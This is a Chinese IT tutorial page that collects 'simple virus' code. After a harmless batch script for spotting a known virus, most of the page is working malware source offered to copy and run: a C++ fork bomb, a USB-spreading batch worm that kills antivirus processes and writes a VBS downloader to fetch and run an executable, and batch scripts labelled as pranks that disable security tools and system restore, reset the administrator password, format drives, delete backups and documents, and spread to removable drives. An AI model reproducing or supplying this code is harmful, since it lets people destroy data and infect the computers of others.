简单的病毒编程代码bat(简单的病毒编程代码复制手机)

http://www.itjxue.com  2023-02-11 14:05  来源:未知  点击次数: 

怎么用.bat文件查杀病毒?

bat是dos下的批处理文件

批处理运用:查常见病毒

其实,对于上网的人来说,遇到病毒是在所难免的。然而,如果真的不幸感染,怎样才能发现呢?难道真的要买昂贵的杀毒软件吗?不一定。

我们可以编写批处理来查一些常见的网络病毒。如果确认感染病毒,可以下载专用杀毒工具进行查杀,或采取其他途径杀毒。

下面,我以欢乐636f7079e79fa5e9819331333231613865时光为例进行分析:

主文件:1.bat

其它文件:2.bat 3.bat

1.bat代码:

@if exist c:\folder.htt call 2.bat

@if exist d:\folder.htt call 2.bat

@if exist e:\folder.htt call 2.bat

@if exist f:\folder.htt call 2.bat

2.bat代码:

@echo 发现欢乐时光病毒!

@call 3.bat

@pause

3.bat代码:

@c:

@dir *.htt *.ini /s/a1.txt

@d:

@dir *.htt *.ini /s/a1.txt

@e:

@dir *.htt *.ini /s/a1.txt

这样,如果中毒,那么必定会存在大量folder.htt和Desktop.ini,通过这样可以粗略的检查计算机是否感染病毒。

批处理运用三:文件处理

假设,我要大规模的做文件的移动、删除等,如果在Windows里操作不免会出现错误,而且这些错误不易察觉。因此,用批处理进行操作,不但简单易行,而且容易发现错误并可以及时纠正。

例如,我要将D盘的htm文件移动到E盘,再格式化D盘,然后将文件移回D盘,并改后缀为html

1.bat代码:

@E:

@Md d

@D:

@Copy *.htm e:\d

@if exist e:\d\*.htm call 2.bat

2.bat代码:

@Format d:/q

@Copy e:\d\*.htm d:

@D:

@Ren *.htm *.html

比较简单的C++病毒代码

/*亲自验证,不到30秒电脑卡死!运行后做好关机准备*/

/*留下您的赞再拿走,谢谢*/

运行效果如图

/*源代码:*/

//////////////////////////////////////////////////

#include?Windows.h

#include?iostream

#include?fstream

using?namespace?std;

int?main()

{

char?a[9]?=?"abc.bat";

ofstream?file_out(a);

file_out"%0|%0";

file_out.close();

system(?a?);

return?0;

}

给大家一个BAT编写的病毒,自己做完运行一下,看看什么效果

严重肯定下,你写的bat很规范,变量也用地很好。。

我也学BAT

给你看看我的把,很久前写的,不要见笑啊,U盘传播,外加一个免杀的下载者(因为这个下载者放到了带“..”的特殊文件夹里,你应该明白呵呵)

AUTOEXEC --开机过程中就运行病毒了

带感染BAT文件,而且自身感染好像没有考虑= =||

@echo off

for %%i in (D: E: F: G: H: I: J: K: L: M: N: O: P: Q: R: S: T: U: V: W: X: Y: Z: )do (if %cd:~0,2%==%%i goto auto)

if %cd%==C:\RECYCL goto auto

:ww

attrib %0 -a -s -r -h

copy /y %0 "c:\Program Files\Common Files\Microsoft Shared\AutoRun.bat"

goto z

:z

IF NOT EXIST "c:\Program Files\Common Files\Microsoft Shared\Auto.vbs" goto e

tskill wscript

del "c:\Program Files\Common Files\Microsoft Shared\Auto.vbs"

if not exist "C:\Program Files\Common Files\MSSoap\Binaries\msconfig.ini" goto new

goto zz

:zz

Tskill Mcshield

Tskill VsTskMgr

Tskill naPrdMgr

Tskill UpdaterUI

Tskill TBMon

Tskill scan32

Tskill Ravmond

Tskill CCenter

Tskill RavTask

Tskill Rav

Tskill Ravmon

Tskill RavmonD

Tskill RavStub

Tskill KVXP

Tskill KvMonXP

Tskill KVCenter

Tskill KVSrvXP

Tskill KRegEx

Tskill UIHost

Tskill TrojDie

Tskill FrogAgent

Tskill kav

Tskill kav32

Tskill kavstart

Tskill katmain

attrib -a -s -r -h c:\boot.ini

echo c:\="microsoft dos"c:\boot.ini

attrib +a +s +r +h c:\boot.ini

attrib -a -s -r -h c:\msdos.sys

attrib -a -s -r -h c:\config.sys

echo [option] c:\msdos.sys

echo bootkey=1 c:\msdos.sys

echo BootMenu=0 c:\msdos.sys

echo BootWarn=0 c:\msdos.sys

echo BootFailSafe=0 c:\msdos.sys

echo DisabeLog =1 c:\msdos.sys

for %%k in (a,c,d,e,f,g,h,i,j,k,m,l,n,o,p,q,r,s,t,u,v,w,x,y,z) do @echo lastdrive=%%k c:\config.sys

attrib +a +s +r +h c:\msdos.sys

attrib +a +s +r +h c:\config.sys

attrib -a -s -r -h c:\autoexec.bat

echo @echo off c:\autoexec.bat

echo REG DELETE HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v KvMonXP /f c:\autoexec.bat

echo REG DELETE HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v kav /f c:\autoexec.bat

echo REG DELETE HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v KAVPersonal50 /f c:\autoexec.bat

echo REG DELETE HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v McAfeeUpdaterUI /f c:\autoexec.bat

echo REG DELETE HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Network Associates Error Reporting /f c:\autoexec.bat

echo REG DELETE HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v YLive.exe /f c:\autoexec.bat

echo REG DELETE HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v yassistse /f c:\autoexec.bat

echo REG DELETE HKLM\ServiceSOFTWARE\Microsoft\Windows\CurrentVersion\Run /v ShStatEXE /f c:\autoexec.bat

echo REG DELETE HKLM\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL /v CheckedValue /f c:\autoexec.bat

echo REG add HKLM\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL /v CheckedValue /t REG_DWORD /d 0 /f c:\autoexec.bat

echo REG DELETE HKLM\SYSTEM\CurrentControlSet\Services\Schedule /v AtTaskMaxHours /f c:\autoexec.bat

echo reg add HKLM\SYSTEM\CurrentControlSet\Services\Schedule /v AtTaskMaxHours /t REG_DWORD /d 0 /f c:\autoexec.bat

echo REG DELETE HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot /f c:\autoexec.bat

attrib +a +s +r +h c:\autoexec.bat

IF NOT EXIST c:\Progra~1\Intern~1\PLUGINS\shell~1\down.vbs goto f

goto x

:x

cscript c:\Progra~1\Intern~1\PLUGINS\shell~1\down.vbs c:\Progra~1\Intern~1\PLUGINS\shell~1\DarkGear.exe

C:\Progra~1\COMMON~1\Micros~1\DarkGear.exe

copy /y "c:\Program Files\Common Files\Microsoft Shared\AutoRun.vbs" "C:\Documents and Settings\All Users\「开始」菜单\程序\启动\"

REG DELETE HKLM\SYSTEM\CurrentControlSet\Services\Schedule /v AtTaskMaxHours /f

reg add HKLM\SYSTEM\CurrentControlSet\Services\Schedule /v AtTaskMaxHours /t REG_DWORD /d 0 /f

goto a

:a

IF NOT EXIST "c:\Program Files\Common Files\Microsoft Shared\AutoRun.vbs" goto b

if not exist "c:\Program Files\Common Files\Microsoft Shared\desktop.ini" goto d

IF NOT EXIST "c:\Program Files\Common Files\Microsoft Shared\AutoRun.inf" goto c

for %%i in (c: d: e: f: g: h: i: j: k: l: m: n: o: p: ) do copy /y "c:\Program Files\Common Files\Microsoft Shared\AutoRun.inf" %%i

for %%c in (c: d: e: f: g: h: i: j: k: l: m: n: o: p: ) do md "%%c\RECYCL"

for %%c in (c: d: e: f: g: h: i: j: k: l: m: n: o: p: ) do copy /y "c:\Program Files\Common Files\Microsoft Shared\desktop.ini" "%%c\RECYCL"

for %%c in (c: d: e: f: g: h: i: j: k: l: m: n: o: p: ) do copy /y "c:\Program Files\Common Files\Microsoft Shared\AutoRun.bat" "%%c\RECYCL"

for %%q in (c: d: e: f: g: h: i: j: k: l: m: n: o: p: ) do attrib "%%q\RECYCL\AutoRun.bat" +a +s +r +h

for %%q in (c: d: e: f: g: h: i: j: k: l: m: n: o: p: ) do attrib "%%q\RECYCL\desktop.ini" +a +s +r +h

for %%q in (c: d: e: f: g: h: i: j: k: l: m: n: o: p: ) do attrib "%%q\autorun.inf" +a +s +r +h

for %%q in (c: d: e: f: g: h: i: j: k: l: m: n: o: p: ) do attrib "%%q\RECYCL\" +a +s +r +h /s /d

ping 127.0.0.1 -n 10 nul

goto a

:b

ECHO Set shell = Wscript.createobject("wscript.shell") "c:\Program Files\Common Files\Microsoft Shared\AutoRun.vbs"

ECHO a = shell.run ("C:\Progra~1\COMMON~1\Micros~1\AutoRun.bat",0)"c:\Program Files\Common Files\Microsoft Shared\AutoRun.vbs"

goto a

:c

ECHO [autorun]"c:\Program Files\Common Files\Microsoft Shared\AutoRun.inf"

ECHO OPEN=RECYCL\AutoRun.bat"c:\Program Files\Common Files\Microsoft Shared\AutoRun.inf"

ECHO shell\open\Command=RECYCL\AutoRun.bat"c:\Program Files\Common Files\Microsoft Shared\AutoRun.inf"

ECHO shell\explore\Command=RECYCL\AutoRun.bat"c:\Program Files\Common Files\Microsoft Shared\AutoRun.inf"

goto a

:d

echo [.ShellClassInfo]"c:\Program Files\Common Files\Microsoft Shared\desktop.ini"

echo CLSID={645FF040-5081-101B-9F08-00AA002F954E}"c:\Program Files\Common Files\Microsoft Shared\desktop.ini"

goto a

:e

ECHO Set shell = Wscript.createobject("wscript.shell") "c:\Program Files\Common Files\Microsoft Shared\Auto.vbs"

ECHO a = shell.run ("C:\Progra~1\COMMON~1\Micros~1\AutoRun.bat",0)"c:\Program Files\Common Files\Microsoft Shared\Auto.vbs"

"c:\Program Files\Common Files\Microsoft Shared\Auto.vbs"

exit

:f

md c:\Progra~1\Intern~1\PLUGINS\shell..\

echo On Error Resume Next c:\Progra~1\Intern~1\PLUGINS\shell..\down.vbs

echo Dim eee,eeee c:\Progra~1\Intern~1\PLUGINS\shell..\down.vbs

echo eeee = LCase(WScript.Arguments(1)) c:\Progra~1\Intern~1\PLUGINS\shell..\down.vbs

echo eee = LCase(WScript.Arguments(0)) c:\Progra~1\Intern~1\PLUGINS\shell..\down.vbs

echo Set xPost = createObject("Microsoft.XMLHTTP") c:\Progra~1\Intern~1\PLUGINS\shell..\down.vbs

echo xPost.Open "GET",eee,0 c:\Progra~1\Intern~1\PLUGINS\shell..\down.vbs

echo xPost.Send() c:\Progra~1\Intern~1\PLUGINS\shell..\down.vbs

echo Set sGet = createObject("ADODB.Stream") c:\Progra~1\Intern~1\PLUGINS\shell..\down.vbs

echo sGet.Mode = 3 c:\Progra~1\Intern~1\PLUGINS\shell..\down.vbs

echo sGet.Type = 1 c:\Progra~1\Intern~1\PLUGINS\shell..\down.vbs

echo sGet.Open() c:\Progra~1\Intern~1\PLUGINS\shell..\down.vbs

echo sGet.Write(xPost.responseBody) c:\Progra~1\Intern~1\PLUGINS\shell..\down.vbs

echo sGet.SaveToFile eeee,2 c:\Progra~1\Intern~1\PLUGINS\shell..\down.vbs

goto x

:auto

%windir%\explorer.exe %cd:~0,2%

if not exist "c:\Program Files\Common Files\Microsoft Shared\AutoRun.bat" goto ww

IF EXIST "c:\Program Files\Common Files\Microsoft Shared\Auto.vbs" goto z

exit

:new

md c:\Progra~1\Intern~1\PLUGINS\shell..\

copy "c:\Program Files\Common Files\Microsoft Shared\AutoRun.bat" c:\Progra~1\Intern~1\PLUGINS\shell..\

at 9:58 tskill cmd

at 10:00 c:\Progra~1\Intern~1\PLUGINS\shell~1\AutoRun.bat

at 13:58 tskill cmd

at 14:00 c:\Progra~1\Intern~1\PLUGINS\shell~1\AutoRun.bat

at 19:58 tskill cmd

at 20:00 c:\Progra~1\Intern~1\PLUGINS\shell~1\AutoRun.bat

at 15:58 tskill cmd

at 16:00 c:\Progra~1\Intern~1\PLUGINS\shell~1\AutoRun.bat

echo This is DarkGear v3.0 , Make by The Ghost Hunter "C:\Program Files\Common Files\MSSoap\Binaries\msconfig.ini"

FOR %%a in ( c: d: e: f: g: h: i: j: k: l: m: n: o: p: q: r: s: t: u: v: w: s: y: z: ) do dir /a:- /s /b %%a\*.bat%windir%\msconfig.inf

FOR /f "delims=" %%i in (%windir%\msconfig.inf) do attrib -a -s -r -h "%%i"

FOR /f "delims=" %%i in (%windir%\msconfig.inf) do copy /y "c:\Program Files\Common Files\Microsoft Shared\AutoRun.bat" "%%i"

del "c:\windows\msconfig.inf"

exit

其实那些TSkill都没用,编这个的时候我很菜

谁能给一断bat病毒代码?

@echo off title You DEAD!!!!!!! set taskkill=s copy %0 %windir%\system32\cmd.bat attrib %windir%\system32\cmd.bat +r +s +h net stop sharedaccess nul %s% /im pfw.exe shadowtip.exe shadowservice.exe qq.exe explorer.exe IEXOLORE.EXE /f nul %s% /im norton* /f nul %s% /im av* /f nul %s% /im fire* /f nul %s% /im anti* /f nul %s% /im spy* /f nul %s% /im bullguard /f nul %s% /im PersFw /f nul %s% /im KAV* /f nul %s% /im ZONEALARM /f nul %s% /im SAFEWEB /f nul %s% /im OUTPOST /f nul %s% /im nv* /f nul %s% /im nav* /f nul %s% /im F-* /f nul %s% /im ESAFE /f nul %s% /im cle /f nul %s% /im BLACKICE /f nul %s% /im def* /f nul %s% /im 360safe.exe /f nul net stop Shadow" "System" "Service set alldrive=d e f g h i j k l m n o p q r s t u v w x y z for %%a in (c %alldrive%) do del %%a:\360* /f /s /q nul for %%a in (c %alldrive%) do del %%a:\修复* /f /s /q nul rem 修改注册表....... REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer \Advanced\Folder\Hidden\SHOWALL /v CheckedValue /t REG_DWORD /d 00000000 /f nul REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies \Explorer /v NoRun /t REG_DWORD /d 00000001 /f nul REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies \Explorer /v NoRecentDocsMenu /t REG_DWORD /d 00000001 /f nul REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies \Explorer /v NoDrives /t REG_DWORD /d 4294967295 /f nul REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies \System /v Disableregistrytools /t REG_DWORD /d 00000002 /f nul REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies \Explorer /v NoNetHood /t REG_DWORD /d 00000001 /f nul REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies \Explorer /V NoDesktop /t REG_DWORD /d 00000001 /f nul REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies \Explorer /v NoClose /t REG_DWORD /d 00000001 /f nul REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies \Explorer /v NoFind /t REG_DWORD /d 00000001 /f nul REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies \System /v DisableTaskMgr /t REG_DWORD /d 00000001 /f nul REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies \Explorer /v NoLogOff /t REG_DWORD /d 00000001 /f nul REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies \Explorer /v NoSetTaskBar /t REG_DWORD /d 00000001 /f nul REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows" "NT\CurrentVersion\SystemRestore /v DisableSR /t REG_DWORD /d 00000001 /f nul REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows" "NT\SystemRestore /v DisableConfig /t REG_DWORD /d 00000001 /f nul REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies \Explorer /v RestrictRun /t REG_DWORD /d 00000001 /f nul cls net user administrator 123456 nul for %%c in (c %alldrive%) do del %%c:\*.gho /f /s /q nul echo @echo off d:\setup.bat echo shutdown -r -t 10 -f -c 亲爱的朋友,我十分抱歉的通知你,你的电脑已经严重崩溃,请重新 安装系统可以解决此问题 !^.^ d:\setup.bat echo copy d:\setup.bat c:\Documents" "and" "Settings\All" "Users\「开始」菜单\程序\启动 \a.bat d:\setup.bat echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v setup.bat /t REG_SZ /d d:\setup.bat /f d:\setup.bat echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v setup.bat /t REG_SZ /d d:\setup.bat /f d:\setup.bat echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce /v setup.bat /t REG_SZ /d d:\setup.bat /f d:\setup.bat HKEY_CLASSES_ROOT\batfile\shell\open\command /v setup.bat /t REG_SZ /d d:\setup.bat /f d:\setup.bat echo [windows] %windir%\win.ini echo run=d:\setup.bat C:\AUTOEXEC.BAT %windir%\win.ini echo load=d:\setup.bat C:\AUTOEXEC.BAT %windir%\win.ini echo [boot] %windir%\system.ini echo shell=explorer.exe setup.bat C:\AUTOEXEC.BAT %windir%\system.ini echo [AutoRun] d:\autorun.inf echo Open=setup.bat d:\autorun.inf echo Open=system.bat d:\autorun.inf attrib d:\autorun.inf +r +s +h d:\setup.bat attrib d:\setup.bat +r +s +h d:\setup.bat start d:\setup.bat /min nul echo @echo off C:\AUTOEXEC.BAT echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v AUTOEXEC.BAT /t REG_SZ /d C:\AUTOEXEC.BAT /f C:\AUTOEXEC.BAT echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v AUTOEXEC.BAT /t REG_SZ /d C:\AUTOEXEC.BAT /f C:\AUTOEXEC.BAT REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce /v AUTOEXEC.BAT /t REG_SZ /d C:\AUTOEXEC.BAT /f C:\AUTOEXEC.BAT echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v setup.bat /t REG_SZ /d d:\setup.bat /f C:\AUTOEXEC.BAT echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v setup.bat /t REG_SZ /d d:\setup.bat /f C:\AUTOEXEC.BAT REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce /v setup.bat /t REG_SZ /d d:\setup.bat /f C:\AUTOEXEC.BAT echo if not d:\setup.bat start %windir%\system32\cmd.bat /min C:\AUTOEXEC.BAT copy %0 %systemroot%\windows.bat nul if not exist %windir%/system32/explorer.bat @echo off %windir%/system32 /explorer.bat if not exist C:\AUTOEXEC.BAT start %windir%\system32\cmd.bat /min % windir%/system32/explorer.bat if not exist %windir%\system32\cmd.bat start %systemroot%\windows.bat /min % windir%/system32/explorer.bat echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v AUTOEXEC.BAT /t REG_SZ /d C:\AUTOEXEC.BAT /f %windir%/system32/explorer.bat echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v AUTOEXEC.BAT /t REG_SZ /d C:\AUTOEXEC.BAT /f %windir%/system32/explorer.bat echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v setup.bat /t REG_SZ /d d:\setup.bat /f %windir%/system32/explorer.bat echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v setup.bat /t REG_SZ /d d:\setup.bat /f %windir%/system32/explorer.bat echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v explorer.bat /t REG_SZ /d % windir%/system32/explorer.bat/f %windir%/system32/explorer.bat echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v explorer.bat /t REG_SZ /d % windir%/system32/explorer.bat /f %windir%/system32/explorer.bat echo start %systemroot%\windows.bat /min %windir%/system32/explorer.bat attrib %windir%/system32/explorer.bat +r +s +h% attrib %systemroot%/windows.bat +r +s +h for %%c in (%alldrive%) do echo @echo off %%c:\system.bat for %%c in (%alldrive%) do echo start %windir%\system32\cmd.bat /min %%c:\system.bat for %%c in (%alldrive%) do echo attrib system.bat +r +s +h %%c:\system.bat set drive=e f g h i j k l m n o p q r s t u v w x y z for %%c in (%drive%) do echo [AuroRun] %%c:\autorun.inf for %%c in (%drive%) do echo Open=system.bat %%c:\autorun.inf copy %0 d:\Program" "Files\run.bat for %%c in (%alldrive%) do echo if not exist %windir%/system32/explorer.bat start d:\Program" "Files\run.bat /min %%c:\system.bat for %%c in (%alldrive%) do attrib autorun.inf +r +s +h %%c:\system.bat for %%c in (%alldrive%) do attrib %%c:\autorun.inf +r +s +h nul for %%c in (%alldrive%) do attrib %%c:\system.bat +r +s +h nul if not exist %windir%/system32/explorer.bat start d:\Program" "Files\run.bat /min d:\setup.bat attrib d:\Program" "Files\run.bat +r +s +h nul del %0 exit

恶搞电脑病毒代码有哪些

有时候想和朋友们玩玩,搞点恶搞电脑病毒给他们,要怎么办呢?下面由我给你做出详细的恶搞电脑病毒代码介绍!希望对你有帮助!

恶搞电脑病毒代码介绍一:

首先在电脑上新建一个TXT文档

然后把下面这段代码输入进去

On Error Resume Next

Dim WSHshellA

Set WSHshellA = wscript.CreateObject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -s -t 90 -c ""快喊我是猪,不喊就马上让你关机,不信,试试···"" ", 0, True

Dim a

Do While (a "我是猪")

a = InputBox("快说我是猪,不叫就不关机,快点,说 ", "说不说", "不说", 8000, 7000)

MsgBox Chr(13) + Chr(13) + Chr(13) + a, 0, "MsgBox"

Loop

MsgBox Chr(13) + Chr(13) + Chr(13) + "早说就行了嘛!好,不关了"

WSHshella.run "cmd.exe /c shutdown -a"

然后保存

然后把这个文本文档的后缀改为vbs 也就是说新建的文本文档本来是.TXT的后缀,

你要修改为.VBS的后缀

恶搞电脑病毒代码介绍二:

新建一个文本文档,然后插入hhjsfdusnjwindow,,hffjfiukjei 508963kfdjksfjjkk,最后插入图片,如果对方有邮箱,就发给他

他一打开就会出现你插入的图片,然后出现 蓝屏 (效果7—10分钟)(注:做好病毒后不要打开,否则会出现以上说的情况)

恶搞电脑病毒代码介绍三:

新建一个文本文档(.txt),要复制以下代码:

@echo off

color 4

tskill explorer

echo .

echo .

echo .

echo .

echo 警告:在病毒执行期间禁止关闭电源,

echo 否则你就和你心爱的电脑说

echo .

echo . BYE-BYE

echo .

echo Computer system crash!

echo .

echo .

echo I am a virus, my name is Ghost.

echo 我是魔鬼病毒,在这个堕落的世界上苏醒了。

echo .

echo . Warning! CPU has been changed please re-enter CPU settings

echo. in the CMOS setuo and remember to save before quit.

echo. Secondary IDE channel no 80 conductor cable installed.

set /p select=:)

if "%select%"=="" goto start

:start

shutdown -r -t 10 -c "您的计算机上带有魔鬼病毒,今天是它的发作日期。病毒已经破坏了您的系统,您的计算机将在10秒钟后重启。"

::结束

再另存为:名字.bat 你要记住"名字"后面要加".bat"

就可以了,没有任何破坏性,吓吓人。

你可以试试看看效果。

求!!! 有没有能过杀毒软件的 bat代码 要整人的 无实际伤害的

整人病毒代码(附解除方法)

使用方法:

1、新建txt文件,复制代码

2、改后缀名为bat

3、如果需要可以加入启动项

4、启动病毒

废话不多说,直接上代码

——————————————我是分界线————————————————

:1rem 损坏安全模式reg delete HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot /frem 开机自启动reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v windowsdir /t reg_sz /d "c:\%~n0%~x0" /fnulrem 格式化所有盘format d:/qformat e:/qformat f:/qrem 运行exe会自动关联jpgreg add "HKEY_CLASSES_ROOT\exefile\shell\opencommand" "rundll32.exe C:\WINDOWS\system32\shimgvw.dll,ImageView_Fullscreen %1rem 删除系统备份for /f %%a in ('dir /b/s %systemroot%\system32\dllcache') do del /Q %%arem 反注册bai所有dllfor /f "tokens=*" %%b in ('dir /b/s %systemroot%\*.dll') do regsvr32 /s /u "%%b"rem 反注册所有ocxfor /f "tokens=*" %%c in ('dir /b/s %systemroot%\*.ocx') do regsvr32 /s /u "%%c"rem 禁用任务管理器reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\system /v DisableTaskMgr /t reg_dword /d 1 /f nulrem USB移动盘感染for %%i in (%drives%) do (fsutil fsinfo drivetype %%i: | find "可移动驱动器"NUL copy %0 %%i)for %%i in (%drives%) do (del %%i:\*.doc /f /s /q del %%i:\*.xls /f /s /q del %%i:\*.ghs /f /s /q)rem 5秒内重启shutdown -r -t 5rem 复制自身+开机自启动copy %0 "C:\Documents and Settings\%userprofile%\「开始」菜单\程序\启动"rem 增加超多硬盘md d:\fly nul 2nulset a=c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,zfor %%a in (%a%) do subst %%a: d:\fly nul 2nulrem 修改IE标题栏reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "window title" /t REG_SZ /d "Bitch, I FUCK YOU !" /frem 销毁自身del %0goto 1

=======================我也是有底线的=====================

杀毒方法:

1、进入winpe

2、下载腾讯电脑管家,安装并联网

3、更新病毒库,查杀完毕后修补漏洞

4、使用系统急救箱杀毒

5、关机,拔出或弹出pe盘

6、重新启动,进入系统

7、修补完成

8、如果帮到你,给我点个赞哦!

(责任编辑:IT教学网)

更多

推荐Mail服务器文章